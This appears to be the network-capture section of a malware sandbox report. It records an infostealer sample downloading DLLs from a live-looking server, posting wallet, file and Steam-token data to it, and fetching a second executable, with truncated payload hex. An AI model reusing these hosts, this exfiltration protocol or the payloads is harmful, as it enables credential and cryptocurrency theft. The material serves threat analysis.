Nov 22, 2024 23:06:34.756997108 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 22, 2024 23:06:35.645806074 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 23:06:36.101155043 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 22, 2024 23:06:39.545011044 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 23:06:39.999712944 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 22, 2024 23:06:40.632644892 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 23:06:41.087030888 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 22, 2024 23:06:42.052814960 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 23:06:43.174850941 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 23:06:43.283623934 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="message"wallets------CGDGHCBGDHJJKECAECBA--
Nov 22, 2024 23:06:43.740788937 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 22, 2024 23:06:43.743594885 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="message"files------HIDHDAAEHIEHIECBKJDG--
Nov 22, 2024 23:06:44.205586910 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 23:06:44.219160080 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file"------HJDBAFIECGHCBFIDGDAA--
Nov 22, 2024 23:06:45.180655003 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 23:06:45.244091034 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 30 34 66 61 63 32 31 35 63 37 66 39 31 34 39 62 63 30 32 37 39 33 33 34 63 63 65 30 38 61 39 34 36 62 33 38 66 62 35 34 30 39 37 33 61 38 30 33 33 62 36 38 66 37 34 66 39 66 33 35 63 64 30 66 65 38 63 31 34 64 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 2d 2d 0d 0a Data Ascii: ------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="token"a04fac215c7f9149bc0279334cce08a946b38fb540973a8033b68f74f9f35cd0fe8c14d0------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="message"ybncbhylepme------AAEHJEGIIDAECAAKEBKF--
Nov 22, 2024 23:06:45.701158047 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49901	185.215.113.16	80	5640	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 23:06:45.827157021 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 22, 2024 23:06:47.269948006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 22:06:47 GMT Content-Type: application/octet-stream Content-Length: 1905152 Last-Modified: Fri, 22 Nov 2024 21:39:53 GMT Connection: keep-alive ETag: "6740fa29-1d1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfpK@K@WkH(SKRK @.rsrcH@.idata @ *@wajwbeif`1@joqbkyeg`K@.taggant0pK"@
Nov 22, 2024 23:06:47.269965887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 23:06:47.269979954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 23:06:47.270042896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 23:06:47.270067930 CET	1236	IN	Data Raw: 6d aa 3d c7 34 38 ed 80 d4 0b 12 c3 78 0f 90 de 03 17 a5 83 7b 65 ec d4 22 85 88 a8 2d e9 8d f3 c1 ad 20 cc c4 ed 39 07 31 f4 31 05 a5 06 41 db 94 d5 cd 46 60 13 6d 62 c3 d6 bd 77 2b b8 8d e2 a4 69 61 96 4c 34 71 d3 32 98 bb 05 e5 d6 75 99 33 94 Data Ascii: m=48x{e"- 911AF`mbw+iaL4q2u3sVKqiu%I!mp385I(<mC0.nip6QXTFe[gXFR51-R/-$='nLiV_yqMS2o0D
Nov 22, 2024 23:06:47.270081043 CET	1236	IN	Data Raw: 9d a9 e3 16 dd a1 7d c5 fc cd d1 47 45 24 12 3c 84 a7 b9 2b 33 68 f1 be b3 02 8e 33 a8 6d 1c 07 b5 07 56 8f e2 4d 85 4e a2 cb e9 99 8b e9 6d b7 18 88 0d a2 2a 98 92 04 0d e7 3c 5a 2e b5 11 f3 c4 a9 87 97 04 5d f7 e4 48 9c 8e 2f 14 2c b1 a7 b6 86 Data Ascii: }GE$<+3h3mVMNm*<Z.]H/,mvAUh=h$A6`]=&cKg/3%v&~i=wH=T9^=Hp;!%{7LHe(X"gqE(jfQ=E$0
Nov 22, 2024 23:06:47.270092964 CET	776	IN	Data Raw: 20 e0 f4 1a ec de f1 c0 f0 f4 66 89 33 06 c6 d3 45 7c 1f e7 79 59 ca 36 8d 0f e5 32 bc d7 c5 fb df 26 fe f7 f0 0c c1 a6 bc b6 91 b4 cd 91 aa c5 9e 5d f3 13 b5 ec 13 98 f3 4d 21 05 50 39 5f 13 b5 0e 28 70 b3 91 b1 b3 15 8a 25 b5 ec fa e8 c0 40 c9 Data Ascii: f3E\|yY62&]M!P9_(p%@N[UCJ=TD6XD#3S'+L]y,;l+g=1g>~:n*9q,86]wXSPwEjG/nASV
Nov 22, 2024 23:06:47.270107985 CET	1236	IN	Data Raw: 8f a4 0e 73 ce aa 3a c9 ec 76 a8 6e 60 c7 5b ca 4d 34 b1 93 9b e8 2a f2 11 db 98 1a 3a 63 ad 46 de e7 62 09 90 09 65 97 18 ef e0 38 47 c5 62 dd d6 ac 59 e7 a3 e4 bd c5 80 10 4b bd 67 9d d1 ac 10 12 a8 05 4b e4 90 de 05 da 74 43 bd 62 e5 26 0a d8 Data Ascii: s:vn`[M4*:cFbe8GbYKgKtCb&=eGM\vUVWT(Xk7h8LxgE\|K!ea/ES~\|$Tt8hDg,hU-nTC<c-p4!lHbUy8@3+\?!;%5v=
Nov 22, 2024 23:06:47.270118952 CET	1236	IN	Data Raw: 41 0a 50 a3 98 68 2d 40 51 a3 85 07 a2 8a 29 96 d5 37 75 21 20 4d 79 67 18 fb 53 dd 8b f7 ac 0e fb c0 79 b5 74 55 99 e7 91 68 e8 51 38 a8 bc bd 35 55 66 d8 06 79 65 08 05 07 ad bb bb f6 46 4b bb 06 34 0f 34 9d e1 82 ae ef 6f 87 cc 7d ce 3b a6 2d Data Ascii: APh-@Q)7u! MygSytUhQ85UfyeFK44o};-iqed</k\|IqBH@qv\CKAn0(!ZBsloP1yH[<8j2eDtCG*(<6o>fi%,B
Nov 22, 2024 23:06:47.270132065 CET	1236	IN	Data Raw: f2 71 25 a7 d8 0d 9f 01 05 12 b3 7e 1a b9 f5 a6 fd 4f 04 06 4f f1 6b 6b 2a 86 77 ea 07 2c 63 1c f5 eb df d3 17 ed 5c 9b ec 23 b1 db 98 6b c3 be ac 59 75 83 58 e1 28 fc da b4 c3 78 5a 7b f1 f2 44 6e 65 91 58 f7 7c 6d 18 6e 93 eb 22 08 45 9b c9 96 Data Ascii: q%~OOkk*w,c\#kYuX(xZ{DneX\|mn"E6LIjQY}xsP`E!UpJWW4pEHMDHTo;0.PdSP>Mpj>vUP$ZYj95>0z>13z(fAbUTTh
